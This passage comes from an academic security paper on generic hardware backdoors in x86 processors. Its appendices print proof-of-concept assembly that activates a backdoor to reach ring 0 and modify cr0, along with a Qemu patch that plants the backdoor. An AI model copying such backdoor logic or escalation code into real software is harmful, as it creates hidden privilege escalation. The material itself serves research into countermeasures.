"pop %ebx\n"
"pop %ecx\n"
"pop %edx\n"

); //write to the output file
write(fd, &res,4); //of the read memory byte

} close(fd);

The attacker is also able to run ring 0 code at will. For instance, running the
previous code, the “test” function will be executed with ring 0 privileges in a
ring 0 code segment, the characteristics of which (base address, size) correspond
to that of the code segment at the time of the “lcall” to the dummy selector.

As an example, we can show in appendix A that the attacker is able to modify
at will the cr0 control register of the CPU which is one of the most security-
critical register of the CPU because that is the one that is used to activate paging,
or the physical address extensions or to trigger operating mode transitions. Ac-
cording to designers manuals, read or write to the cr0 register (for instance mov
%cr0, %eax) trigger a general protection exception unless the caller can assert
ring 0 privileges.
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6 Analysis of the Backdoors

6.1 Is it Possible to Imagine Other Backdoors?

Of course, it is possible to imagine other backdoors than those that have been
presented in this paper and implemented in a modified Qemu emulator. We only
aim at showing that it is not necessary for generic backdoors to be extremely
complicated to be usable by attackers without prior knowledge of the software
stack used on the system. The major difficulty is the localisation of target struc-
tures in memory that the attacker will have to read or write to get total control
of the system. If the backdoor is not implemented to allow the localisation and
the access to any structure in memory in any circumstance, the attacker will not
be able to use it in each and every situation.

6.2 About Evolution and Discretion

The attacker might want to implement a backdoor of which the activation condi-
tions change after each activation. The only interest of such a feature is that the
backdoor will not be detected by a in-depth analysis of the crash conditions of a
system where the backdoor has been activated by mistake. As a matter of fact,
a second execution of the program that caused the crash will not activate the
backdoor. However given the small probability of the backdoor to be triggered
by mistake, it does not seem necessary that the activation conditions should
change. Moreover, it seems useless to try to hide the hardware logic dedicated
to the backdoor activation. The size of x86 processors can indeed be evaluated
to be just below a billion logic gates, which cannot be analysed with tools that
are available or that will be in the next few years.

6.3 Possible Countermeasures

In the previous section, we have seen that it was possible for an attacker to
implement a silent backdoor that allows him to get to maximum privileges on a
system from very small privileges. So one could easily wonder if there is indeed
a way for operating systems and virtual machine monitors designer to cope with
the threat. The global idea will be to reduce the risk of backdoor activation by
reducing the possible components in the system that have the possibility to do
so. The attacker needs to be able to run the attack code on the trapped CPU. In
order to reduce the possibility of introduction of an attack code that can trigger
the backdoor it seems fair to:

– restrict the number of applications allowed to run on the machine and control
that only those applications are actually running;

– make sure that no compilation or random code execution tools will be avail-
able on the system;

– try to prevent intrusion at the network level (correct network security con-
figuration) in order to prevent remote to local privilege escalations.



594 L. Duflot

Another idea which is impractical at the time (because of the difficulty to cor-
rectly manage hardware-level asynchronous accesses and random objects) would
be to run the whole software stack on two different CPUs in parallel and to verify
that the output to the memory bus are the same. If the two processors respond
in different ways to the same code sequence, something is most certainly wrong.

7 Conclusion

We showed in this paper the impact of a generic backdoor in x86 processors
on the security of a system. We presented proof-of-concept implementations of
the backdoors by modifying the Qemu emulator and showed how the backdoors
can be used. The backdoors we present are simple as they only modify at most
the behaviour of three assembly langage instructions and have very simple and
specific activation conditions, so that they cannot be accidently activated.

As a conclusion, we can say that the backdoors we present are generic, virtually
undetectable and allow a non-privileged process to get to maximum privileges on
a system, no matter which software security mechanisms are implemented. Even
though no actual backdoor in x86 processors have ever been asserted, our study
show the limits of software security mechanisms.

Security analysis should thus take into account the threat of hardware bugs
or backdoors and find ways to restrict the possibilities of activation.
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A Use of the Backdoor from Part 5.2 to Modify cr0

In the situation described in section 5.2, only the virtual machine monitor is
able to assert ring 0 privileges. The kernels of guest operating systems run in
ring 13, and applications run in ring 3. In normal operation, if any component
of a guest domains tries to modify the cr0 register, this then generates a general
protection fault that will be caught by the virtual machine monitor.

//read_cr0_no_bd.c file
#include <stdio.h>
int res = 0;
extern void test(void);
asm (

".globl test\n" //Test function
"test:\n"

"mov %cr0, %eax\n" //copy cr0
"mov %eax, %esi\n" //in eax and esi
"ret\n"

);

int main(void) //Main function (entry point)
{

__asm__ volatile(
"push %%eax\n" //save eax
"call $test\n" //call test function

"mov %%esi, %%eax\n" //copy esi in eax
: "=a"(res)); //copy eax in "res"

__asm__ volatile(
"pop %eax\n"
);

printf("0x%.8x\n", res); //display res
return 0;

}

[demo@localhost demo]./read_cr0_no_bd
Segmentation fault

If the attacker now activates the backdoor beforehand:

//read_cr0.c file
#include <stdio.h>
int res = 0;
extern void test(void);
asm (

".globl test\n"
"test:\n"

3 Or in VMX non root mode if hardware virtualisation extensions are used but in all
cases with lower privileges than the virtual machine monitor.
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"mov %cr0, %eax\n" //copy cr0 in eax
"mov %eax, %esi\n" //and in esi
"lret\n" //return (exit from ring 0)

);

int main(void)
{

__asm__ volatile(
"push %%eax\n"
"push %%ebx\n"
"push %%ecx\n"
"push %%edx\n"
"mov $0x12345678, %%eax\n"
"mov $0x56789012, %%ebx\n"
"mov $0x87651234, %%ecx\n"
"mov $0x12348256, %%edx\n"
".byte 0xd6\n" //backdoor activation
"lcall $0x4b, $test\n" //call to "test" on the 0x4b

//segment (ring 0 entry)
"mov %%esi, %%eax\n" //copy esi in eax
: "=a"(res)); //and eax in res

__asm__ volatile(
"mov $0x34567890, %eax\n"
"mov $0x78904321, %ebx\n"
"mov $0x33445566, %ecx\n"
"mov $0x11223344, %edx\n"
//backdoor deactivation
".byte 0xd6\n"
"pop %edx\n"
"pop %ecx\n"
"pop %ebx\n"
"pop %eax\n"

);
printf("0x%.8x\n", res); //display res
return 0;

}

The standard output now yields the value of the cr0 register:

[demo@localhost demo]./read_cr0
0x80005003b

The attacker can of course also modify the cr0 register (only the “test” function
is presented, the “main” function is identical to that of the previous example:

//write_cr0.c file (partial)

asm (
".globl test\n"
"test:\n"
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"mov %cr0, %eax\n" //copy cr0 in eax
"or $0x4300, %eax\n" //modify eax
"mov %eax, %cr0\n" //copy eax in cr0
"mov %cr0, %eax\n" //copy cr0 in eax
"mov %eax, %esi\n" //copy cr0 in esi
"lret\n" //return to ring 3

); //esi will contain
//cr0 modified value

[demo@localhost demo]./write_cr0
0x80005433b

In our proof of concept scheme, the CPU is a modified Qemu emulator and it
is then easy to verify that the cr0 register that is modified is indeed the actual
cr0 register of the CPU and not a virtual CPU presented to the guest domain
by the hypervisor using the build-in console (Ctrl + Alt + 2).

(qemu) info registers
[....]
CR0=8005433b
[....]

The modification of cr0 is of course only an example of what is possible. It
will of course be possible to add new segments or “call gates”4 into the GDT.
These techniques allow the attacker to take complete control of the system with
techniques similar as those presented in [11].

B Backdoor from Part 5.2: Modified Qemu Instructions

In this section we show the Qemu source code modification that allows the imple-
mentation of the backdoor from part 5.2. It is at least necessary to implement
a helper salc function that will describe the behaviour of the salc instruction
as Qemu does not know by default how to interpret the instruction. It is also
necessary to modify the helper ret protected and helper lcall protected T0 T1
functions that respectively describe the behaviour of the “ret” (but also“iret”
(return from interrupt) and “lret” (return with a change of current code seg-
ment)), and “lcall”. For the sake of conciseness, only the modifications of the
helper lcall protected T0 T1 function are presented (modifications of the “salc”
instructions are described in section 5.2).

//helper_lcall_protected_T0_T1:
//T0 et T1 are global variables used by Qemu such as
//T0 stores the requested selector
//and T1 stores the requested instruction pointer for the call.

4 Call gates specify possible transitions between rings. Adding a ring 3 call gate that
gives access to a ring 0 segment allows the attacker to add a permanent software
backdoor to ring 0 privileges.
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//So the emulated instruction is lcall $T0:T1

void helper_lcall_protected_T0_T1(int shift, int next_eip_addend) {
int new_cs, new_stack, i;
uint32_t e1, e2, cpl, dpl, rpl, selector, offset, param_count;
uint32_t ss, ss_e1, ss_e2, sp, type, ss_dpl, sp_mask;
uint32_t val, limit, old_sp_mask;
target_ulong ssp, old_ssp, next_eip, new_eip;

new_cs = T0; //get the requested code segment
new_eip = T1; //get the requested instruction pointer
next_eip = env->eip + next_eip_addend; //return address from

//the call to push on the
//stack

if (backdoor_activated && (new_cs == 0x4b)){
//if the backdoor is activated and the requested selector is
// 0x4b

sp = ESP; //ESP current value
sp_mask = get_sp_mask(env->segs[R_SS].flags);
ssp = env->segs[R_SS].base;
//Push the code segment on the stack
PUSHL(ssp, sp, sp_mask, env->segs[R_CS].selector);
//Push the current stack segment on the stack
PUSHL(ssp, sp, sp_mask, env->segs[R_SS].selector);
//Push the return address
PUSHL(ssp, sp, sp_mask, next_eip);
//Push a "magic number"
PUSHL(ssp, sp, sp_mask, 0xdeadbeef);
ESP= sp; //ESP update
cpu_x86_set_cpl(env, 0); //CPL=0
//Get the code and the stack segment in Qemu format
load_segment(&e1, &e2, env->segs[R_CS].selector);
load_segment(&ss_e1, &ss_e2, env->segs[R_SS].selector);
//Change the DPL/RPL of the segment but no other characteristic
cpu_x86_load_seg_cache(env, R_CS, 0x4b,

get_seg_base(e1, e2),
get_seg_limit(e1, e2),
e2 & ~(3<<DESC_DPL_SHIFT));

//Change the DPL/RPL of the segment but no other characteristic
cpu_x86_load_seg_cache(env, R_SS, 0x44,

get_seg_base(ss_e1, ss_e2),
get_seg_limit(ss_e1,ss_e2),
ss_e2 & ~(3<<DESC_DPL_SHIFT));

//instruction pointer update for the call
EIP= new_eip;

//end of the helper
}
[....]

}
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